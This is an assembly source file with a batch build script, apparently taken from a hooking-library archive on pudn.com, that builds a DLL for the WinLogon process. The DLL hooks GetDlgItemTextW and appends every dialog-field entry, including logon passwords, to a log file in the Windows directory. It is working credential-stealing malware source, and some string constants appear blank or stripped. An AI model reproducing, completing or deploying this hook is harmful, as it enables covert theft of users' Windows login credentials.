www.pudn.com > API_VC_HOOK-.rar > WinLogon.asm


;@goto translate 
 
 
.586P 
 
.MODEL             FLAT, STDCALL 
 
   OPTION          CASEMAP: NONE 
   INCLUDE         WINDOWS.inc 
   UNICODE         = TRUE 
   INCLUDE         APIMACRO.mac 
 
   INCLUDE         ApiHooks.inc 
 
   INCLUDELIB      iKERNEL32.lib 
   INCLUDELIB      iUSER32.lib 
 
;------------------------------------------------------------------ 
.DATA? 
   Flipper         BYTE    ? 
 
.CODE 
 
;------------------------------------------------------------------ 
  NewGetDlgItemTextW       PROC  USES   EBX,  hDlg, nlDDlgItem, lpString, nMaxCount 
                   LOCAL   Written      :DWORD 
                   LOCAL   hLog         :DWORD 
                   LOCAL   Place[MAX_PATH] :SIGN   
 
                   PUSH    lpString 
                   LEA     EBX,         Place 
                   POP     Written  
                   iWin32  GetDlgItemTextW, hDlg, nlDDlgItem, lpString, nMaxCount 
                   PUSH    EAX  
                   TEST    EAX,         EAX 
                   JNE     @F 
                   MOV     Written,     sEmpty  
                  @@: 
                   iWin32i GetWindowsDirectory, EBX, MAX_PATH 
                   AND     SIGN PTR     Place[3*SIGN], 0 
                   iWin32i lstrcat,     EBX,  sLogName 
                   XOR     Flipper,     1 
                   JE      NoMsgBox 
                   iWin32i MessageBox,  hDlg, EBX, sTextsSaved, MB_ICONINFORMATION 
                  NoMsgBox:  
                   iWin32i CreateFile,  EBX,  GENERIC_WRITE, FILE_SHARE_READ,\ 
                                        NULL, OPEN_ALWAYS, NULL, NULL 
                   MOV     hLog,        EAX 
                   INC     EAX 
                   JE      LeaveGDITW 
                   iWin32  SetFilePointer, hLog, 0, NULL, FILE_END  
                   INC     EAX 
                   JE      LeaveGDITW 
                   iWin32  WideCharToMultiByte, CP_ACP, NULL, Written, -1, EBX, SIZEOF Place, NULL, NULL 
                   MOV     EDX,         sAddEOL 
                   CMP     Flipper,     0 
                   JE      @F 
                   MOV     EDX,         sAddSpace  
                  @@: 
                   iWin32  lstrcatA,    EBX,  EDX 
                   iWin32  lstrlenA,    EAX 
                   LEA     ECX,         Written 
                   iWin32  WriteFile,   hLog, EBX, EAX, ECX, NULL 
                   iWin32  CloseHandle, hLog 
                  LeaveGDITW: 
                   POP     EAX   
                   RET 
  NewGetDlgItemTextW       ENDP 
 
;names------------------------------------------------------------- 
                   TEXT    LogName,          
                   TEXT    TextsSaved,       
                   TEXT    Empty,            
                   TEXTA   AddSpace,        < - /0> 
                   TEXTA   AddEOL,           
                   TEXTA   USER32,            
                   TEXTA   GetDlgItemTextW,    
;------------------------------------------------------------------ 
 BeginHooks WinLogon 
   MkHook   , USER32, GetDlgItemTextW 
 EndHooks 
;------------------------------------------------------------------ 
 
END 
 
:TRANSLATE 
@ECHO OFF 
ML    /c /coff /nologo WinLogon.bat 
LINK3 WinLogon /nologo /DLL /NOENTRY /EXPORT:WinLogon,@1,NONAME /SUBSYSTEM:WINDOWS /MERGE:.rdata=.text /MERGE:.idata=.text /IGNORE:4078 /BASE:0X70FD0000 
DEL  WinLogon.obj 
DEL  WinLogon.exp 
DEL  WinLogon.lib